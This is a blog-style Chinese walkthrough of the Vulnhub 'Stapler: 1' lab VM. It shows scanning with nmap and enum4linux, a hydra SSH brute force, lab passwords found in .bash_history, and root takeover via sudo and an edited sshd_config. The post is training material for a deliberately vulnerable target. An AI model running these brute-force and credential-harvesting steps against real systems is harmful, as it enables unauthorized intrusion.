【Vulnhub通关】Stapler:1


准备工作

靶机基本信息

靶机名称:Stapler

操作系统:Linux

虚拟机软件:VMware Workstation

网络连接方式:桥接至物理网络(请手动设置!!)

渗透测试目标:获取root权限与交互式Shell并读取Flag文件

下载地址:Stapler: 1 ~ VulnHub

环境配置

解压Stapler.zip文件之后,请先编辑Stapler.ovf虚拟机配置文件,将文件中所有的Caption字符串替换为ElementName,随后删除Stapler.mf文件 ,最后打开VMware Workstation导入虚拟机。


信息收集

主机发现

在Kali Linux中,使用netdiscover命令进行主机发现:

shell 复制代码
netdiscover -r 192.168.2.0/24

从中可以确定,网卡设备名为VMware, Inc.的机器即为靶机,IP地址为192.168.2.132。

网络服务扫描

确定靶机IP地址之后,我们先使用nmap对靶机进行初步扫描,命令如下:

shell 复制代码
# -sS 使用TCP SYN半开扫描
nmap -sS -A -sV -p- 192.168.2.132

部分扫描结果截图:

从中我们可以获得如下信息:

端口 传输层协议 应用层协议 详细信息 状态
20 TCP FTP(Data) vsftpd 2.0.8 or later 关闭
21 TCP FTP(Command) vsftpd 2.0.8 or later 开启
22 TCP SSH OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 开启
53 TCP DNS dnsmasq 2.75 开启
80 TCP HTTP PHP cli server 5.5 or later 开启
123 TCP NTP 无 关闭
137 138 TCP NetBIOS 无 关闭
139 TCP SMB Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP) 开启
666 TCP 未知 无 开启
3306 TCP MySQL MySQL 5.7.12-0ubuntu1 开启
12380 TCP HTTP Apache httpd 2.4.18 ((Ubuntu)) 开启

同时得知靶机操作系统为Ubuntu Linux,内核版本未知。


服务探测

FTP服务(20、21端口)

根据nmap的扫描结果,靶机的FTP服务允许Anonymous用户登录,尝试一下:

发现登录时靶机的FTP服务返回了一条Banner信息,意思是叫靶机操作系统用户Harry 更新登录提示文本,这里先作为用户名敏感信息记录到新建的userlist文件中。

查看note文件,内容如下:

Text 复制代码
Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John. 

又获得了两个用户名:Elly、John。

SMB服务(139端口)

对于SMB服务,我们首先使用enum4linux工具扫描一下:

shell 复制代码
enum4linux -a -o -M 192.168.2.132

部分扫描结果:

但重点在于获取到的 NetBIOS信息:

共享文件夹列表:

密码策略:

以及用户名和组列表:

Text 复制代码
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''                                                                                                     
                                                                                                                                                                                
S-1-22-1-1000 Unix User\peter (Local User)                                                                                                                                      
S-1-22-1-1001 Unix User\RNunemaker (Local User)
S-1-22-1-1002 Unix User\ETollefson (Local User)
S-1-22-1-1003 Unix User\DSwanger (Local User)
S-1-22-1-1004 Unix User\AParnell (Local User)
S-1-22-1-1005 Unix User\SHayslett (Local User)
S-1-22-1-1006 Unix User\MBassin (Local User)
S-1-22-1-1007 Unix User\JBare (Local User)
S-1-22-1-1008 Unix User\LSolum (Local User)
S-1-22-1-1009 Unix User\IChadwick (Local User)
S-1-22-1-1010 Unix User\MFrei (Local User)
S-1-22-1-1011 Unix User\SStroud (Local User)
S-1-22-1-1012 Unix User\CCeaser (Local User)
S-1-22-1-1013 Unix User\JKanode (Local User)
S-1-22-1-1014 Unix User\CJoo (Local User)
S-1-22-1-1015 Unix User\Eeth (Local User)
S-1-22-1-1016 Unix User\LSolum2 (Local User)
S-1-22-1-1017 Unix User\JLipps (Local User)
S-1-22-1-1018 Unix User\jamie (Local User)
S-1-22-1-1019 Unix User\Sam (Local User)
S-1-22-1-1020 Unix User\Drew (Local User)
S-1-22-1-1021 Unix User\jess (Local User)
S-1-22-1-1022 Unix User\SHAY (Local User)
S-1-22-1-1023 Unix User\Taylor (Local User)
S-1-22-1-1024 Unix User\mel (Local User)
S-1-22-1-1025 Unix User\kai (Local User)
S-1-22-1-1026 Unix User\zoe (Local User)
S-1-22-1-1027 Unix User\NATHAN (Local User)
S-1-22-1-1028 Unix User\www (Local User)
S-1-22-1-1029 Unix User\elly (Local User)

[+] Enumerating users using SID S-1-5-32 and logon username '', password ''                                                                                                     
                                                                                                                                                                                
S-1-5-32-544 BUILTIN\Administrators (Local Group)                                                                                                                               
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)

[+] Enumerating users using SID S-1-5-21-864226560-67800430-3082388513 and logon username '', password ''                                                                       
                                                                                                                                                                                
S-1-5-21-864226560-67800430-3082388513-501 RED\nobody (Local User)                                                                                                              
S-1-5-21-864226560-67800430-3082388513-513 RED\None (Domain Group)

把这些用户全部保存到userlist文件中。

随后尝试登录共享文件夹kathy和tmp,将里面的文件全部下载到本地:

shell 复制代码
smbclient //192.168.2.132/kathy
smbclient //192.168.2.132/tmp

(也可以通过Kali Linux自带的Thunar文件浏览器下载文件)

如图为靶机SMB服务里存储的文件,其中有2份纯文本文件,1份VSFTPd的配置文件,1份TAR格式的WordPress源代码压缩包。(靶机上可能有WordPress??)但除此之外没有任何其它的用户名信息。


渗透测试

SSH密码爆破

通过前面的服务信息收集,我们得到了一大串用户名信息:

在没有密码字典的情况下,我们可以使用hydra工具进行密码爆破。(用户名字典可以在加上一些参数之后当做密码字典使用)

shell 复制代码
# -L         指定用户名字典
# -P         指定密码字典
# -e nsr     使用空密码、反转密码等爆破
hydra -L ./userlist -P ./userlist -e nsr ssh://192.168.2.132:22

如图,成功爆破出了SSH密码:

  • 用户名:SHayslett
  • 密码:SHayslett

尝试使用Termius登录:

成功!!!


权限提升

P.S. 下文所有成功登录的用户在登录之后原密码就被更改。

登录SHayslett用户之后,查看用户家目录下的文件,没有发现有效信息:

shell 复制代码
SHayslett@red:~$ ls -lA
total 20
-rw-r--r-- 1 root      root         5 Jun  5  2016 .bash_history
-rw-r--r-- 1 SHayslett SHayslett  220 Sep  1  2015 .bash_logout
-rw-r--r-- 1 SHayslett SHayslett 3771 Sep  1  2015 .bashrc
drwx------ 2 SHayslett SHayslett 4096 Nov  2 08:42 .cache
-rw-r--r-- 1 SHayslett SHayslett  675 Sep  1  2015 .profile

使用sudo -l命令,发现无法进行sudo提权:

shell 复制代码
SHayslett@red:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for SHayslett: *********
Sorry, user SHayslett may not run sudo on red.

查看进程,发现有一个名为JKanode的用户似乎在运行一些重要业务服务,推测该用户的权限较高:

尝试切换用户:

shell 复制代码
SHayslett@red:~$ su JKanode
Password: *********
su: Authentication failure

切换不成功,转而尝试进入其家目录查看文件:

shell 复制代码
SHayslett@red:~$ cd /home/JKanode && ls -lA
total 16
-rw-r--r-- 1 JKanode JKanode  167 Jun  5  2016 .bash_history
-rw-r--r-- 1 JKanode JKanode  220 Sep  1  2015 .bash_logout
-rw-r--r-- 1 JKanode JKanode 3771 Sep  1  2015 .bashrc
-rw-r--r-- 1 JKanode JKanode  675 Sep  1  2015 .profile

查看.bash_history文件,发现如下关键内容:

经过验证,图中的用户名和密码都为正确信息:

  • 用户名:JKanode,密码:thisimypassword;
  • 用户名:peter,密码:JZQuyIN5

尝试登录用户JKanode,成功:

尝试在该用户Shell上进行sudo提权,失败:

查看计划任务,一无所获:

Text 复制代码
JKanode@red:~$ crontab -l
no crontab for JKanode

再次尝试切换用户至Peter,登录成功,但发现有可能是一个Limited Shell:

经过一番思索之后,决定按照说明进入命令界面,按2使用操作系统管理员的配置:

而且执行id命令之后,我居然发现peter用户在sudo组之内。(好好好,是是是)

执行sudo -l继续验证:

shell 复制代码
peter@red ~ % sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for peter: *********
Matching Defaults entries for peter on red:
    lecture=always, env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User peter may run the following commands on red:
    (ALL : ALL) ALL

好啊,很好,非常好。

直接提权加改root密码:

shell 复制代码
peter@red ~ % sudo passwd root
Enter new UNIX password: *********
Retype new UNIX password: *********
passwd: password updated successfully

Termius登录:

嗯??失败???

思前想后,密码是不可能出问题的,极有可能在SSH配置文件里有其它不必要的配置 ,登录Peter用户并提权查看/etc/ssh/sshd_config文件:

果然!

直接删除最后一行内容,并修改以下配置项:

  1. PermitRootLogin:由without-password修改为yes;
  2. StrictModes:由yes修改为no;
  3. PubkeyAuthentication:由yes修改为no。

重启SSH服务:

shell 复制代码
sudo systemctl restart sshd

再次尝试使用Termius连接root用户:

成功!!!


Flag信息公示

文件名:flag.txt
文件大小:463 B
MD5:8e386e344ca9e200a1182f0c97f5af58
SHA256:bb5ebb5bc41a960c6967fad55fedcdf97fe2f00887a6ffcbaa30091d856cee96

文件内容:

Test 复制代码
~~~~~~~~~~<(Congratulations)>~~~~~~~~~~
                          .-'''''-.
                          |'-----'|
                          |-.....-|
                          |       |
                          |       |
         _,._             |       |
    __.o`   o`"-.         |       |
 .-O o `"-.o   O )_,._    |       |
( o   O  o )--.-"`O   o"-.`'-----'`
 '--------'  (   o  O    o)  
              `----------`
b6b545dc11b7a270f4bad23432190c75162c4a2b

本次靶机渗透到此结束

相关推荐
安教安全员通关宝1 小时前
2026年浙江安全员A证考试题库+答案+解析
安全
2601_967212721 小时前
轨道式插座安全结构、认证要求与场景参数技术说明
大数据·经验分享·安全
admin and root2 小时前
《神农安全.AI漏洞挖掘src赏金》单独开放!
安全·web安全·网络安全·数据挖掘·渗透测试·ai安全·白帽子黑客
LMT_Lanmantech2 小时前
Altium Designer许可安全合规:30天合规认证窗口,不是“准备时间”,是“举证窗口”
安全·软件许可证
Smoothcloud润云2 小时前
远程纳管GPU怎么安全升级?驱动、组件灰度与回滚实战
人工智能·深度学习·安全·gpu算力·gpu·数据库管理员
Oiiouui2 小时前
关于 Logto 登录系统的体验以及建议
javascript·安全·react
zyxqyy&∞3 小时前
sqli-labs-union联合查询(Less1-Less4)
数据库·安全
域智盾软件3 小时前
文件外发管理:小微、中型、研发涉密,三种环境怎么配
安全·域智盾
迪康Defender4 小时前
PHP 高危漏洞应急分析:从风险原理到端点侧纵深防护
运维·开发语言·安全·自动化·php·运维开发·远程工作
安教安全员通关宝4 小时前
2026年四川安全员C2证考试题库+答案+解析
安全